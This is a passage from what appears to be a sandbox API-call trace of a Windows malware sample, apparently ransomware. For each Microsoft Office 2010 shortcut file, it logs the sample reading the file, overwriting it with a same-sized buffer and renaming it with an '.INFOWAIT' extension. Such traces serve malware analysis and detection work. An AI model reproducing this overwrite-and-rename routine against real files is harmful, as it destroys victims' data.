lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.482] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb3f, lpOverlapped=0x0) returned 1 [0136.598] VirtualAlloc (lpAddress=0x0, dwSize=0xb3f, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.599] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.599] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb3f, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb3f, lpOverlapped=0x0) returned 1 [0136.599] CloseHandle (hObject=0xad4) returned 1 [0136.599] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" [0136.599] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk.INFOWAIT" [0136.599] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk.infowait")) returned 1 [0136.600] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.601] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.601] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.601] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.602] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbd5 [0136.602] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.602] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.602] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbd5, lpOverlapped=0x0) returned 1 [0136.647] VirtualAlloc (lpAddress=0x0, dwSize=0xbd5, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.648] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.648] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbd5, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbd5, lpOverlapped=0x0) returned 1 [0136.648] CloseHandle (hObject=0xad4) returned 1 [0136.648] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" [0136.648] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk.INFOWAIT" [0136.648] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk.infowait")) returned 1 [0136.649] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.650] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.650] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.650] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.651] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb79 [0136.651] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.651] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.651] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb79, lpOverlapped=0x0) returned 1 [0136.741] VirtualAlloc (lpAddress=0x0, dwSize=0xb79, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.741] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.741] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb79, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb79, lpOverlapped=0x0) returned 1 [0136.742] CloseHandle (hObject=0xad4) returned 1 [0136.742] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" [0136.742] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk.INFOWAIT" [0136.742] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk.infowait")) returned 1 [0136.742] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.747] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.747] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.747] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.748] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb77 [0136.748] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.748] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.748] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb77, lpOverlapped=0x0) returned 1 [0136.758] VirtualAlloc (lpAddress=0x0, dwSize=0xb77, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.759] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.759] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb77, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb77, lpOverlapped=0x0) returned 1 [0136.759] CloseHandle (hObject=0xad4) returned 1 [0136.760] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" [0136.760] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk.INFOWAIT" [0136.760] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk.infowait")) returned 1 [0136.760] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.762] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.762] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.762] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.762] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbe1 [0136.762] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.762] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.763] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbe1, lpOverlapped=0x0) returned 1 [0136.783] VirtualAlloc (lpAddress=0x0, dwSize=0xbe1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.783] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.783] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbe1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbe1, lpOverlapped=0x0) returned 1 [0136.783] CloseHandle (hObject=0xad4) returned 1 [0136.785] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" [0136.785] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk.INFOWAIT" [0136.785] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk.infowait")) returned 1 [0136.786] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.787] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.787] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.787] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.787] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbef [0136.787] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.788] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.788] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbef, lpOverlapped=0x0) returned 1 [0136.855] VirtualAlloc (lpAddress=0x0, dwSize=0xbef, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.855] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.855] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbef, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbef, lpOverlapped=0x0) returned 1 [0136.856] CloseHandle (hObject=0xad4) returned 1 [0136.856] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" [0136.856] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk.INFOWAIT" [0136.856] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk.infowait")) returned 1 [0136.857] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.857] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.858] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.858] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.859] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xacf [0136.859] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.859] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.859] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xacf, lpOverlapped=0x0) returned 1 [0136.861] VirtualAlloc (lpAddress=0x0, dwSize=0xacf, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.861] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.861] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xacf, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xacf, lpOverlapped=0x0) returned 1 [0136.861] CloseHandle (hObject=0xad4) returned 1 [0136.862] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" [0136.862] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk.INFOWAIT" [0136.862] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk.infowait")) returned 1 [0136.862] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.863] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.863] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0136.863] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0136.863] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbcd [0136.863] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0136.864] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.864] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xbcd, lpOverlapped=0x0) returned 1 [0136.927] VirtualAlloc (lpAddress=0x0, dwSize=0xbcd, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0136.927] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0136.927] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xbcd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xbcd, lpOverlapped=0x0) returned 1 [0136.927] CloseHandle (hObject=0xad4) returned 1 [0136.928] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" [0136.928] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk.INFOWAIT" [0136.928] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk.infowait")) returned 1 [0136.928] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.929] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.930] 